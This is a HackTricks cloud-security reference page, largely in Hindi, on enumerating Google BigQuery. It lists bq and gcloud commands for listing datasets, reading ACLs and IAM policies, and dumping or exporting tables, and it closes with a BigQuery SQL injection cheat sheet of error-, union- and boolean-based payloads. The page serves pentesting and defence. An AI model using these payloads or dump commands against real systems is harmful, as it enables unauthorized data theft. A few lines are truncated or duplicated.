GCP - Bigquery Enum

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Google Cloud BigQuery एक पूरी तरह से प्रबंधित, सर्वरलेस एंटरप्राइज डेटा वेयरहाउस है, जो पेटाबाइट के डेटा पर विश्लेषण की संभावनाएं प्रदान करता है, इसलिए बड़े पैमाने पर डेटासेट को कुशलता से संभालता है। Platform as a Service (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए आधारभूत संरचना और उपकरण प्रदान करता है बिना मैनुअल निगरानी की आवश्यकता के।

यह ANSI SQL का उपयोग करके क्वेरी का समर्थन करता है। मुख्य वस्तुएं डेटासेट हैं जिसमें टेबल होते हैं जो SQL डेटा को रखते हैं।

एन्क्रिप्शन

डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है हालांकि एक ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK) कॉन्फ़िगर करना संभव है। डेटासेट और डेटासेट के भीतर टेबल प्रति एन्क्रिप्शन कुंजी को सूचित करना संभव है।

समाप्ति

डेटासेट में एक समाप्ति समय को सूचित करना संभव है ताकि इस डेटासेट में नया टेबल बनाया गया हो तो उसे निर्दिष्ट दिनों के बाद स्वचालित रूप से हटा दिया जाए।

बाह्य स्रोत

Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। बाकेट्स, पब/सब, गूगल ड्राइव, RDS डेटाबेस से डेटा लोड करना संभव है।

डेटासेट ACLs

जब एक डेटासेट बनाया जाता है, तो उसे एक्सेस देने के लिए ACLs जोड़े जाते हैं। डिफ़ॉल्ट रूप से डेटासेट को उस उपयोगकर्ता के ऊपर Owner विशेषाधिकार दिए जाते हैं जिसने डेटासेट बनाया है और फिर Owner को समूह projectOwners (परियोजना के मालिक), Writer को समूह projectWriters, और Reader को समूह projectReaders दिए जाते हैं:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

तालिका पंक्तियों का पहुंच नियंत्रण

एक प्रिंसिपल को तालिका के अंदर पहुंचने में सक्षम होने वाली पंक्तियों को नियंत्रित करना संभव है रो पहुंच नीतियों के साथ। ये DDL का उपयोग करके तालिका के अंदर परिभाषित किए जाते हैं। पहुंच नीति एक फ़िल्टर को परिभाषित करती है और केवल उस फ़िल्टर के मिलते-जुलते पंक्तियाँ उस प्रिंसिपल द्वारा पहुंचने योग्य होंगी।

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

कॉलम एक्सेस नियंत्रण

डेटा एक्स

gcloud services enable bigquerydatapolicy.googleapis.com

आप स्तंभों के टैग देख सकते हैं:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

जांच

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac। यहाँ कुछ विवरण दिए जा रहे हैं।

टिप्पणियाँ:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ लेकिन केवल प्रारंभिक वाला काम नहीं करेगा

  • select 1--from here it is not working

पर्यावरण जैसी जानकारी प्राप्त करें:

  • वर्तमान उपयोगकर्ता: select session_user()

  • परियोजना आईडी: select @@project_id

डेटासेट, टेबल और कॉलम नाम प्राप्त करें:

  • परियोजना और डेटासेट नाम:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • कॉलम और टेबल नाम:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • इसी परियोजना में अन्य डेटासेट:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQL Injection types:

  • Error based - casting: select CAST(@@project_id AS INT64)

  • Error based - division by zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Union based: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Boolean based: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potential time based - Usage of public datasets example: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentation:

विशेषाधिकार उन्नयन और पोस्ट एक्सप्लोइटेशन

pageGCP - BigQuery Privesc

स्थिरता

pageGCP - BigQuery Persistence

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated